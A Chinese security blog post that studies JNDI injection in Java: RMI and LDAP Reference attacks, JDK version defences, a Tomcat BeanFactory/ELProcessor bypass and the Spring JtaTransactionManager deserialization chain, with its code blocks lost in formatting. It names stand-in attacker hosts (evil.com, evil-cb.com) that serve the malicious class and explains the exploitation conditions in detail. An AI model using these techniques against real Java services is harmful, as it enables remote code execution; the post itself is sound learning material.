JNDI
JNDI了解
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。
Java Naming
命名服务是一种键值对的绑定,使应用程序可以通过键检索值。所以其实命名的目的就是记录一些不方便记录的东西,就像人的名字或者dns的域名和ip地址的关系一样。不同的Naming System有不一样的记录方法。一个命名的展示由名字和分隔符提现。
Java Directory
目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。
JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。
ObjectFactory
Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。
JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。
拿JNDI的作用到底是什么呢,似乎还是不太理解,再来看看这篇文章应该就有一个初步的概念了。
https://blog.csdn.net/zjlolife/article/details/8881154。
JNDI前置知识
JNDI结构

JNDI由JNDI API、命名管理、JNDI SPI(service provider interface)服务提供的接口。我们的应用可以通过JNDI的API去访问相关服务提供的接口。
我们要使用JNDI,必须要有服务提供方,我们常用的就是JDBC驱动提供数据库连接服务,然后我们配置JNDI连接。。
JDK也为我们提供了一些服务接口:
LDAP (Lightweight Directory Access Protocol) 轻量级目录访问协议
CORBA (Common Object Request Broker Architecture) 公共对象请求代理结构服务
RMI(Java Remote Method Invocation)JAVA远程远程方法调用注册
DNS(Domain Name Service)域名服务
在Java Jdk中提供了5个包,提供给JNDI的功能实现:
1 | |
关于RMI
远程方法调用
远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。
其实使用远程方法调用,就会涉及一个数据格式的问题,例如在js中一般都是使用json的格式进行大部分数据的传输,在php中进行php的数据序列化将数据统一形式储存和传输。这里也是一样,这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。
在RMI远程调用中,任何可以被远程调用方法的对象必须实现java.rmi.Remote接口,远程对象的实现必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。
在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub基本上相当于是远程对象的引用或者代理。Stub对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节,所以RMI远程调用逻辑是这样的:

从逻辑上来说,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的:
- Server端监听一个端口,这个端口是JVM随机选择的;
- Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
- Client端可以调用Stub上的方法;
- Stub连接到Server端监听的通信端口并提交参数;
- 远程Server端上执行具体的方法,并返回结果给Stub;
- Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;
RMI注册表
关于RMI注册表,其实就是用来解决客户端如何去调用Stub中的方法的。
这里所谓注册,就是提供一个注册表,在注册表中可以将方法绑定一个名字(也可以叫注册远程对象),以供其他的进程来调用需要的对象,所以Client要寻找Stub中的对象信息就直接查询这个注册表即可。
要注册远程对象,需要RMI URL和一个远程对象的引用。

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。

这里应用使用 JNDI 获取远程 sayHello() 函数并传入 "KKfine" 参数进行调用时,真正执行该函数是在远程服务端,执行完成后会将结果序列化返回给应用端,这一点是需要弄清楚的。
使用RMI Registry之后,RMI的调用关系是这样的:

动态加载类
如果远程获取RMI服务上的对象为Reference类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。因为一定会有某些类的class文件不在本地上,而像上面的Hello类是写在本地的。
Reference 中几个比较关键的属性:
1. className 远程加载时所使用的类名
2.classFactory加载的class中需要实例化的名称
3.classFactoryLocation提供classes数据的地址 可以是file/ftp/http 等协议
例如这里定义一个 Reference 实例,并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象,使其能够通过 RMI 进行远程访问:
1 | |
当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。
JNDI 协议动态转换
在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等):
1 | |
而在调用 lookup() 或者 search() 时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:
1 | |
具体可以看源码实现:
1 | |
1 | |
在getURLOrDefaultInitCtx中会判断是否存在特定的协议,如果有代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换。
完整测试代码
1 | |

JNDI References注入
既然上面说到可以加载外部类,那么这里自然就联想到如果加载我们的恶意类不就能够RCE了。
前提条件&JDK防御
要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。
这里将所有不同版本JDK的防御都列出来:
- JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 - JDK 6u141、7u131、8u121之后:增加了
com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 - JDK 6u211、7u201、8u191之后:增加了
com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
因此,我们在进行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们进行JNDI注入的前提条件。
RMI攻击
利用RMI的攻击,首先就是将恶意类绑定在注册表中,恶意的远程引用指向我们的恶意类。就是在lookup()外部参数可控或者References构造中的classFactoryLocation参数外部可控时,将这个参数设置成我们的远程恶意类,会使用户的JNDI客户端访问注册表中的恶意引用,从而加载远程的恶意类,最终实现远程代码执行。流程如图:

1.首先就是当参数可控时,我们利用动态加载类的特性传入一个我们恶意服务器的地址比如这里是rmi://evil.com:1099,传入之后原先的rmi://localhost:1099便已经被替换掉了
2.然后这个恶意服务中Reference绑定的是我们的恶意对象Reference("EvilObject", "EvilObject", "http://evil-cb.com/")
3.接着当客户端查询这个类时,在本地没有发现,便会查询注册表,但这是我们的恶意服务已经像注册表中提供了它所需要的类,也就是我们的恶意类,由此便会被客户端请求调用,从而执行我们的命令。
攻击demo
客户端
1 | |
服务端
1 | |

这里会报错是因为最后实例化远程类(EvilObj)的时候进行了类型转换为ObjectFactory类,而该类实际上是一个接口,所以如果要让它不报错就实现接口里面的方法就行了,而这个接口就只有一个方法。

思考
其实每次在调试的过程中总能学到很多陌生的东西,但是这些东西很少记录下来,以至于调试完就没有后续了,调试中遇到了一个很常见但是方法很多的东西就是java字节码的加载,在调用getObjectFactoryFromReference方法要返回实例化的注册类时,这里用了static final VersionHelper helper = VersionHelper.getVersionHelper();的加载方法

经过搜索之后发现在JSP Webshell经常出现这个身影,所以中间又穿插学了下JSP Webshell,属于看啥啥不会了,JSP Webshell应该会再写一篇博客了。这里简单记录一下。
漏洞点分析
lookup参数注入
这种漏洞就是上面所演示的,ctx.lookup()中参数可控,然后动态加载我们的恶意类
classFactoryLocation参数注入
前面lookup()参数注入是基于RMI客户端的,也是最常见的。而classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。如图

将上述的JNDI客户端稍作修改即可,可以看到lookup参数已经固定而服务端参数可控。但是这里注意因为lookup直接查询远程引用对象,所以需要初始化上下文告诉客户端使用什么目录服务,并且提供服务url地址。


RMI恶意远程对象
攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的 java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。利用条件如下:
- RMI客户端的上下文环境允许访问远程Codebase。
- 属性 java.rmi.server.useCodebaseOnly 的值必需为false。
然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
Changelog:
结合反序列化漏洞
这种情形其实就是漏洞类重写的readObject()方法中直接或间接调用了可被外部控制的lookup()方法,导致攻击者可以通过JNDI注入来进行反序列化漏洞的利用。
例如Spring Framework的反序列化漏洞
LDAP+Reference利用技巧
原理是一样的,也是起一个恶意的服务,只是从RMI服务变成了LDAP服务,都是能对接JNDI客户端并且返回Reference对象的。
LDAP (Lightweight Directory Access Protocol) : 轻量目录访问协议
LDAP是一个跨平台的、标准的协议
LDAP支持TCP/IP
LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作
LDAP是一个到目录服务的目录访问协议
目录服务:简单来讲是为了浏览和搜索数据而设计的特殊数据库(很像通讯簿,由以字母顺序排列的名字、地址和电话号码组成)
LDAP 类似于用一个树状结构将数据联系起来(和查询DNS服务挺类似的),大致如图所示:

LDAP 常见名词
| 缩写 | 全称 | 含义 |
|---|---|---|
| dc | Domain Component | 域名的部分,其格式是将完整的域名分成几部分,如dc=domain,dc=com |
| uid | User Id | 用户ID, 如”test” |
| ou | Organization Unit | 组织单位,类似于Linux文件系统中的子目录,是一个容器对象,可以包含其他各种对象 |
| cn | Common Name | 公共名称 |
| sn | Surname | 姓 |
| dn | Distinguished Name | 唯一辨别名,类似于绝对路径,如”uid=test,ou=sec,dc=domain,dc=com”,在一个目录树中dn总是唯一的 |
| rdn | Relative dn | 相对辨别名,类似相对路径 |
| c | Country | 国家 |
| o | Organization | 组织名 |
| Directory | 目录,用于存放信息的单元 |
| Entry | 条目,一个entry就是一条记录,是LDAP中一个基本的存储单元 |
| DN:Distinguished Name | 条目中用于唯一区别改条目的信息 |
| LDIF:LDAP Interchange Format | 用于规范LDAP的配置和目录内容等详细信息的保存 |
| Objectclass | LDAP对象类,是LDAP内置的数据模型。每种objectClass有自己的数据结构 |
LDAP的具体知识可以看看这篇文章https://www.cnblogs.com/kevingrace/p/5773974.html,这里主要看看LDAP的漏洞利用
目录树概念
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)
- 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。如
javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性,在后面的利用中会用到这些属性
LDAP攻击
这里演示一个样例
客户端

服务端
1 | |

但是上面我用的jdk1.8.0_312导致需要设置System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");最开始没加上浪费了些时间,不过调试找bug的过程也很受益。其实调试过上面的RMI的过程之后,对于LDAP的调试会熟悉很多。经过调试LDAPclient可以发现,其实只是前面的某些方法所在的类不太一样,但最终还是得回到方法getObjectFactoryFromReference所以我们直接在这个地方打断点。
跟进字节码得加载

可以发现在loadClass:110, VersionHelper12 (com.sun.naming.internal)中进行了一个if判断当不设置成false得时候不会进行下面的URLClassLoader.newInstance(getUrlArray(codebase), parent);

但是注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
Spring Framework反序列化漏洞分析
高版本JNDI绕过
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
这里我用的jdk1.8,不用于1.7它在dk8u121之后默认设置中不再支持设置了com.sun.jndi.rmi.object.trustURLCodebase为 false,限制了 RMI 利用方式中从远程加载 Class com.sun.jndi.rmi.registry.RegistryContext#decodeObject,同样的ldap也是不行的


关于绕过,引用一下文章中的话
针对 RMI 利用的检查方式中最关键的就是
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase)如果 FactoryClassLocation 为空,那么就会进入NamingManager.getObjectInstance在此方法会调用 Reference 中的ObjectFactory。因此绕过思路为在目标 classpath 中寻找实现 ObjectFactory 接口的类。在 Tomcat 中有一处可以利用的符合条件的类org.apache.naming.factory.BeanFactory在此类中会获取 Reference 中的forceString得到其中的值之后会判断是否包含等号,如果包含则用等号分割,将前一半当做方法名,后一半当做 Hashmap 中的 key。如果不包含等号则方法名变成 set开头。值得注意的是此方法中已经指定了参数类型为 String。后面将会利用反射执行前面所提到的方法。因此需要找到使用了 String 作为参数,并且能 RCE的方法。在javax.el.ELProcessor中的 eval 方法就很合适
来看一下BeanFactory类的这个方法。首先判断了是否继承了ResourceRef类,然后后面用加载器载入了class,方便后面的实例化。这里的ResourceRef 是这样定义的public class ResourceRef extends AbstractRef,继续往下就是public abstract class AbstractRef extends Reference

后面代码中get方法获取到了获取到了名为forceString的RefAddr,这里存在着可控的键值对属性,后面调用RefAddr的getContent函数,value = (String)ra.getContent();就可以获得forceString键对应的值。这里需要注意的是,当forceString对应的内容中存在=时,将截取=后面的字符串作为后续调用的函数名。这意味着我们可以任意指定当前对象的类函数了。force键值对中将包含=前面的内容和相应的Method对象。例如test=eval,最终我们将得到eval的Method对象


再往下走,中间有一大顿循环代码就忽略了,这里贴一下关键代码。这里通过Enumeration e = ref.getAll();获取所有的Refaddr。然后用获取了ra这个RefAddr当前键对应的值。最后用反射调用了这个method。关于最终用来命令执行得函数是javax.el.ELProcessor中得eval函数,在eval函数中可以执行javaEL表达式。这个利用点也是jspshell中经常出现得类。
1 | |
分析下exp。这其中还利用了ScriptEngineManager类
通过ScriptEngineManager这个类可以实现Java跟JS的相互调用,虽然Java自己没有eval函数,但是ScriptEngineManager有eval函数,并且可以直接调用Java对象,也就相当于间接实现了Java的eval功能。但是写出来的代码必须是JS风格的,所以其实又叫表达式引用。它可以实现java,js得相互调用。
1 | |

漏洞分析
server端
1 | |
client端
1 | |
最开始进入initUserTransactionAndTransactionManager初始化方法

然后可以看到这里调用了lookupUserTransaction寻找我们设置得恶意值,继续跟进

然后发现了一个很熟悉得lookup来寻找远程调用对象,其实再往后跟进就能发现就是JNDI常用得那个lookuo方法



这条链看下来还是很清晰得,总结一下:
由于org.springframework.transaction.jta.JtaTransactionManager类重写了readObject方法,并且其中在重写方法中调用了initUserTransactionAndTransactionManager方法,方法实现得过程中使用lookup方法直接来查询UserTransactionName变量得值,而这个值是可以通过setter来由我们控制得,从而触发远程调用恶意类实现JNDI注入。
参考文章
https://www.crisprx.top/archives/389#Spring_Framework_RCE
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!